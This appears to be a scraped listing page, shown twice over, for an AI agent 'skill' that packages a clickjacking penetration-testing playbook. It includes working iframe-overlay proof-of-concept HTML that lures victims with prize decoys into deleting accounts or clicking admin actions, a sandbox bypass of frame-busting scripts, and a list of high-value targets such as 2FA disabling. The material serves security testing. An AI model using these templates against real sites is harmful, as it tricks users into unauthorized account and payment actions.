clickjacking

Name: clickjacking
Author: Prohao42

91stars8forks

How to install clickjacking?

prohao42/aimy-skill/clickjacking

$npx -y skills add Prohao42/aimy-skill --skill clickjacking

Installs into the current project.

Summary

--- name: clickjacking description: >- Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions. ---

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Clickjacking — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.
4
5	## 1. CORE CONCEPT
6
7	Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.
8
9	```html
10	<style>
11	iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
12	.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
13	</style>
14	<div class="decoy"><button>Click to win a prize!</button></div>
15	<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
16	```
17
18	---
19
20	## 2. DETECTION — IS THE PAGE FRAMEABLE?
21
22	### Check X-Frame-Options Header
23
24	```
25	X-Frame-Options: DENY → cannot be framed (secure)
26	X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin)
27	X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
28	(header absent) → frameable! (vulnerable)
29	```
30
31	### Check CSP frame-ancestors
32
33	```
34	Content-Security-Policy: frame-ancestors 'none' → cannot be framed
35	Content-Security-Policy: frame-ancestors 'self' → same-origin only
36	Content-Security-Policy: frame-ancestors https://a.com → specific origin
37	(directive absent) → frameable
38	```
39
40	CSP frame-ancestors supersedes X-Frame-Options in modern browsers.
41
42	### Quick PoC Test
43
44	```html
45	<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
46	```
47
48	If the page loads in the iframe → frameable → potentially vulnerable.
49
50	### JavaScript Frame Detection (from target page source)
51
52	```javascript
53	// Common frame-busting code found in target pages:
54	if (top.location.hostname !== self.location.hostname) {
55	top.location.href = self.location.href;
56	}
57	```
58
59	If this code is present but not using CSP `frame-ancestors`, it can often be bypassed.
60
61	---
62
63	## 3. PROOF OF CONCEPT TEMPLATES
64
65	### Basic Single-Click
66
67	```html
68	<html>
69	<head><title>Free Prize</title></head>
70	<body>
71	<h1>Click the button to claim your prize!</h1>
72	<style>
73	iframe { position: absolute; top: 300px; left: 60px;
74	width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
75	</style>
76	<iframe src="https://target.com/account/settings?action=delete"></iframe>
77	</body>
78	</html>
79	```
80
81	### Multi-Step Clickjacking
82
83	For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):
84
85	```html
86	<div id="step1">
87	<button onclick="document.getElementById('step1').style.display='none';
88	document.getElementById('step2').style.display='block';">
89	Step 1: Click here
90	</button>
91	</div>
92	<div id="step2" style="display:none">
93	<button>Step 2: Confirm</button>
94	</div>
95	<iframe src="https://target.com/admin/action"></iframe>
96	```
97
98	Reposition iframe for each step to align the transparent button with the decoy.
99
100	### Drag-and-Drop Clickjacking
101
102	Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.
103
104	---
105
106	## 4. BYPASS TECHNIQUES
107
108	### Frame-Busting Script Bypass
109
110	Some pages use JavaScript frame-busting:
111	```javascript
112	if (top !== self) { top.location = self.location; }
113	```
114
115	Bypass with sandbox attribute:
116	```html
117	<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
118	<!-- sandbox without allow-top-navigation prevents frame-busting -->
119	```
120
121	### X-Frame-Options ALLOW-FROM Bypass
122
123	`ALLOW-FROM` is not supported in Chrome/Safari. If the server relies solely on `ALLOW-FROM`, modern browsers ignore it → page is frameable.
124
125	### Double-Framing
126
127	If `X-Frame-Options: SAMEORIGIN` is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.
128
129	---
130
131	## 5. HIGH-IMPACT TARGETS
132
133	```text
134	Account deletion page
135	Email/password change form
136	Admin panel actions (add user, change role)
137	Payment confirmation
138	OAuth authorization ("Allow" button)
139	Two-factor authentication disable
140	API key generation
141	Webhook configuration
142	```
143
144	---
145
146	## 6. TESTING CHECKLIST
147
148	```
149	□ Check X-Frame-Options header on sensitive pages
150	□ Check CSP frame-ancestors directive
151	□ Create iframe PoC and verify page loads
152	□ Test frame-busting scripts — try sandbox attribute bypass
153	□ Identify high-value

People who liked this also viewed

6 picks

Type

clickjacking

91stars8forks

View on GitHub

How to install clickjacking?

prohao42/aimy-skill/clickjacking

$npx -y skills add Prohao42/aimy-skill --skill clickjacking

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Clickjacking — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.
4
5	## 1. CORE CONCEPT
6
7	Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.
8
9	```html
10	<style>
11	iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
12	.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
13	</style>
14	<div class="decoy"><button>Click to win a prize!</button></div>
15	<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
16	```
17
18	---
19
20	## 2. DETECTION — IS THE PAGE FRAMEABLE?
21
22	### Check X-Frame-Options Header
23
24	```
25	X-Frame-Options: DENY → cannot be framed (secure)
26	X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin)
27	X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
28	(header absent) → frameable! (vulnerable)
29	```
30
31	### Check CSP frame-ancestors
32
33	```
34	Content-Security-Policy: frame-ancestors 'none' → cannot be framed
35	Content-Security-Policy: frame-ancestors 'self' → same-origin only
36	Content-Security-Policy: frame-ancestors https://a.com → specific origin
37	(directive absent) → frameable
38	```
39
40	CSP frame-ancestors supersedes X-Frame-Options in modern browsers.
41
42	### Quick PoC Test
43
44	```html
45	<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
46	```
47
48	If the page loads in the iframe → frameable → potentially vulnerable.
49
50	### JavaScript Frame Detection (from target page source)
51
52	```javascript
53	// Common frame-busting code found in target pages:
54	if (top.location.hostname !== self.location.hostname) {
55	top.location.href = self.location.href;
56	}
57	```
58
59	If this code is present but not using CSP `frame-ancestors`, it can often be bypassed.
60
61	---
62
63	## 3. PROOF OF CONCEPT TEMPLATES
64
65	### Basic Single-Click
66
67	```html
68	<html>
69	<head><title>Free Prize</title></head>
70	<body>
71	<h1>Click the button to claim your prize!</h1>
72	<style>
73	iframe { position: absolute; top: 300px; left: 60px;
74	width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
75	</style>
76	<iframe src="https://target.com/account/settings?action=delete"></iframe>
77	</body>
78	</html>
79	```
80
81	### Multi-Step Clickjacking
82
83	For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):
84
85	```html
86	<div id="step1">
87	<button onclick="document.getElementById('step1').style.display='none';
88	document.getElementById('step2').style.display='block';">
89	Step 1: Click here
90	</button>
91	</div>
92	<div id="step2" style="display:none">
93	<button>Step 2: Confirm</button>
94	</div>
95	<iframe src="https://target.com/admin/action"></iframe>
96	```
97
98	Reposition iframe for each step to align the transparent button with the decoy.
99
100	### Drag-and-Drop Clickjacking
101
102	Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.
103
104	---
105
106	## 4. BYPASS TECHNIQUES
107
108	### Frame-Busting Script Bypass
109
110	Some pages use JavaScript frame-busting:
111	```javascript
112	if (top !== self) { top.location = self.location; }
113	```
114
115	Bypass with sandbox attribute:
116	```html
117	<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
118	<!-- sandbox without allow-top-navigation prevents frame-busting -->
119	```
120
121	### X-Frame-Options ALLOW-FROM Bypass
122
123	`ALLOW-FROM` is not supported in Chrome/Safari. If the server relies solely on `ALLOW-FROM`, modern browsers ignore it → page is frameable.
124
125	### Double-Framing
126
127	If `X-Frame-Options: SAMEORIGIN` is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.
128
129	---
130
131	## 5. HIGH-IMPACT TARGETS
132
133	```text
134	Account deletion page
135	Email/password change form
136	Admin panel actions (add user, change role)
137	Payment confirmation
138	OAuth authorization ("Allow" button)
139	Two-factor authentication disable
140	API key generation
141	Webhook configuration
142	```
143
144	---
145
146	## 6. TESTING CHECKLIST
147
148	```
149	□ Check X-Frame-Options header on sensitive pages
150	□ Check CSP frame-ancestors directive
151	□ Create iframe PoC and verify page loads
152	□ Test frame-busting scripts — try sandbox attribute bypass
153	□ Identify high-value

People who liked this also viewed

6 picks

Type